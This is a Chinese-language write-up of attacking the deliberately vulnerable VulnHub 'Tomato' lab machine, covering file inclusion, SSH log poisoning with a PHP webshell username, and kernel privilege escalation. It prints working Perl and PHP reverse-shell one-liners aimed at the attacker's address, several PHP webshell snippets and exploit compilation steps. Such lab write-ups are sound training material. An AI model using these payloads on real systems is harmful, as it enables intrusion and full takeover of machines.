VulnHub靶机-Tomato | 红队打靶
2023-6-26 08:31:19 Author: 0x00实验室(查看原文) 阅读量:12 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 22 篇文章 

kali:10.0.0.7/24靶机:10.0.0.8/24
靶机下载:https://download.vulnhub.com/tomato/Tomato.ova目标:一个 flag + root权限难度:低

全流程思路:

  • 主机发现 端口扫描 信息搜集 路径爬取
  • 源码分析:通过查看爬取的 web路径和相关网页的源码,发现注释
  • 文件包含:文件包含的各个方式
  • 写入日志:非常重要的思路,无论是==文件包含==还是 ssti等漏洞都是可以通过这
  • 内核漏洞枚举:一个自动化脚本的使用
  • 本地提权

下意识的操作

  1. 任何网页都要查看源码
  2. linux靶机在确定是否有python时,请把 python,python2,python3==全部试一遍==

主要的知识点

  1. 文件包含测试时包含那几个方面:
    • passwd
    • ssh秘钥登陆默认存放秘钥的文件
    • log日志
    • 本地系统文件
    • 远程文件包含
    • 自动化漏洞脚本
    • 掌握 gcc:glibc的指定

    信息收集

    1. 主机发现,端口扫描,服务确定。21:ftpvsftpd 3.0.3是没有什么远程执行的漏洞,但是有个拒绝服务的漏洞(==和我们打靶无关==)。另外靶机的 ssh服务这次开在了 2211端口,更为重要的信息是 nmap的脚本扫描是没有返向任何目标靶机可以利用的漏洞信息。

    2. 访问靶机相关的 web页面,其中 80端口就是一个简单的图片页面没有什么价值(==源码也是没有任何信息==),8000端口的 web一访问就需要我们输入账号密码(==字典爆破也没有效果==)。

    3. 那信息收集几乎就只有目录爬取这个思路了,使用 dirsearch来帮我们获取后台路径(==默认的字典是爬不出来,需要指定字典==)。

    4. 浏览爬取到的相关目录,浏览到/antibot_image/antibots/下的readme.txt, jpg文件时,可以大致的知道靶机上可能有 ==反爬虫软件==。点开 info.php文件(==php环境的配置的展示网页==)并查看其源码,发现个非常重要的注释,提示我们该网页存在个参数 GET:image参数。          ||           ==bots:反爬虫技术==

    文件包含

    1. 大胆的推测 image参数后面可能为路径,赋值为 /etc/passwd,再查看页面源码直到最后,发现网页竟然真的包含了 /etc/passwd,同时不难发现只有 root,tomato两个用户具有 shell

      ==下面为三个走不通的思路:==

      • 对上述两个用户ssh密码爆破
      • 访问 /home/tomato/.ssh/id_rsa看是否可以通过秘钥传递绕过 ssh需要输入密码
      • 远程文件包含:不论进行实测还查看 info.php文件都可以证明靶机是不能进行远程文件包含的。因为 phpinfo直接禁止 allow_url_include
    2. 目标靶机存在明显的文件包含漏洞(==给我们感觉就应该从这个漏洞入手,完全凭借经验==),进而想到是否可以包含 log文件呢?(==log文件这个思路在文件上传漏洞也是可以利用的==)    当对靶机开放的所有服务默认的 log文件路径进行包含发现都是失败的(==失败可能的原因:权限不够,没有开启日志,目录不对等等==),直到对系统本身的 log文件 /var/log/auth.log包含时才有一定的收获。

    这里值得注意,info.php是个 php文件,但是我们包含的文件是直接以源码的形式呈现到源码中。这就意味着如果包含的日志中有恶意 php,js等语言是会php语言被执行的。

    1. 先用一个根本不存在的用户,测试是否能够成功写入到 log中: ssh [email protected] -p2211。结果不用多说,所以尝试 反弹shell是有可能的。

      image-20230609202224034

    反弹shell

    键入ssh '<?php echo shell_exec($_GET["cmd"]); ?>'@10.0.0.8 -p2211来将恶意代码视为用户名,利用log写入到靶机中(==外侧一定要使用单引号,cmd使用双引号。否则无法执行==)。不过再次包含 log文件的时候并没有发现恶意代码,这是个好事表明靶机并没有将恶意代码当为字符串执行,而是将其看为 php代码执行所以导致无法查看。上载下面的 payload发现成功的反弹了shell

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    漏洞检测与利用

    1. 由于靶机存在 nc工具,我们就通过 nc来进行文件的传输。注意一下几点:

      • 将检测工具放在/tmp使用

      • 靶机的 shell必须简单的升级后才能使用 cd /tmp来进行跳转目录 。升级目录:/bin/bash -i

      • -w 1参数表示在建立联系完毕后 1秒后自动断开 nc连接

        image-20230610093633472
    2. 更改检测脚本权限,运行后按照他提供漏洞利用的可能性来挨个尝试(==第二个是成功的==)。

      可以看到这个工具会检测73个内核漏洞,43个用户权限漏洞。

    3. 然后利用python3来升级一下 shell,由于靶机是没有 gcc的利用环境的。我们必须在 kali上编译后再上载给靶机上执行。但是我们却发现一个非常麻烦的问题,当获取的exp更改权限执行后发现靶机上的动态链接库有问题:``GLIBC_3.4' not found`。

    • 同上面漏洞的exp地址后面的序号,直接在 kali中键入 searchsploit -p 45010,就可返回只带的漏洞脚本
    • 当我们确定靶机上是否有python环境的时候,一定要将 python,python2,pthon3都试一遍。靶机上是有python3。说以我们可以升级 shell
    1. 通过在 kali,靶机上分别键入以下命令,可以看到靶机上确实没有 GLIBC_2.34的。

      strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3
      image-20230610171158915
    2. 当在 kali中使用固定版本的 glibc编译后的 exp上传到靶机后,赋予执行权限进行运行发现成功的提权为 root用户,然后进行 flag的读取完成打靶。

      • 先获取对应的 glibc,然后解压改文件:

        wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
      • 接着进行解压和 gcc的指定编译

      • 最后进行提权脚本的使用,记得添加可执行权限

        则个编译出现的 not find问题在第一个靶机上也是存在同样的问题,解决方法是相同的。

    工具

    linux-exploit-suggerster

    1. what?

      Linux Exploit Suggester 是使用 Perl 编程语言编写的工具,分析目标系统的内核版本和软件包,并与已知的漏洞数据库进行比对,以提供漏洞建议,==需要自己安装==。

      就是一个漏洞扫描脚本,在靶机上运行来获取器漏洞存在的可能

    2. 如何食用

      下载完成后再对应的文件中会有一个 .sh的文件,直接将该文件上传到靶机上运行即可

    perl反弹shell

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    php反弹shell

    php -r '$sock=fsockopen(\"10.0.0.7\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'

    复盘

    反弹shell的试错

    1. nc 

      在通过 which nc的payload,发现靶机上是有 nc的。但是当使用的时候出现了两个问题导致我们无法使用 nc

      • 没有 -e参数
      • 当我简单的建立 tcp连接:nc 10.0.0.7的时候,会在建立连接后立马断开。导致我们使用 nc串联技术也是不可能的了
    2. python

      直接 which发现靶机都没有python,但是有==python3==可以进行反弹shell,这是后续修改的当时打靶还是用的 perl语言反弹的 shell

    3. perl

      使用 which perl时发现靶机是有该语言环境的,所以但我们使用该语言进行反弹 shell才成功

    重要

    双引号和单引号的区别

    在 Linux shell 中,单引号 ' 和双引号 " 的区别在于,双引号中的变量会被解析,而单引号中的变量不会被解析。例如,如果你定义了一个变量 var=world,那么在双引号中输入 echo "hello $var" 会输出 hello world,而在单引号中输入 echo 'hello $var' 会输出 hello $var

    php后门的注意

    1. 蚁剑,卡巴斯基等自动化的后门:<?php eval($_POST['cmd']);?>

      eval其实是不能执行 shell命令,它只能执行相关的 php命令。之所以自动化工具能够执行 shell命令,是因为做了后台的加工

    2. 手动的后台反弹:

      • <?php echo system($_GET['cmd']);?>
      • ```
      • <?php echo exec($_GET['cmd']);?>
      • <?php echo passthru($_GET['cmd']);?>

    /var/log/auth.log

    1. what?

      一个系统日志文件,它记录了与用户身份验证和授权相关的信息。在许多Linux系统中,这个文件用于记录用户登录、登出、密码更改以及其他身份验证事件,==包括 ssh,ftp等登陆信息==。

    2. 渗透思路

      文件包含来执行一句话木马

    了解

    perl语言

    1. what?

      Perl 是一种高级、通用、直译式、动态的编程语言,由拉里·沃尔(Larry Wall)设计并开发。它最初被设计用于文本处理,但随着时间的推移,它已经演变成了用于系统管理、网络编程、GUI 编程和 Web 编程等领域的通用编程语言。Perl 语言具有很多特性,如正则表达式、模块化编程、面向对象编程、函数式编程等。

      希望这可以帮到你。


    文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247491081&idx=1&sn=7d00e019d00581087c031da156ee77f9&chksm=cfd861f6f8afe8e08d4b3a514bc4fed15b44f4c563a30d019382af15724f86ee2b1972878dab#rd
    如有侵权请联系:admin#unsafe.sh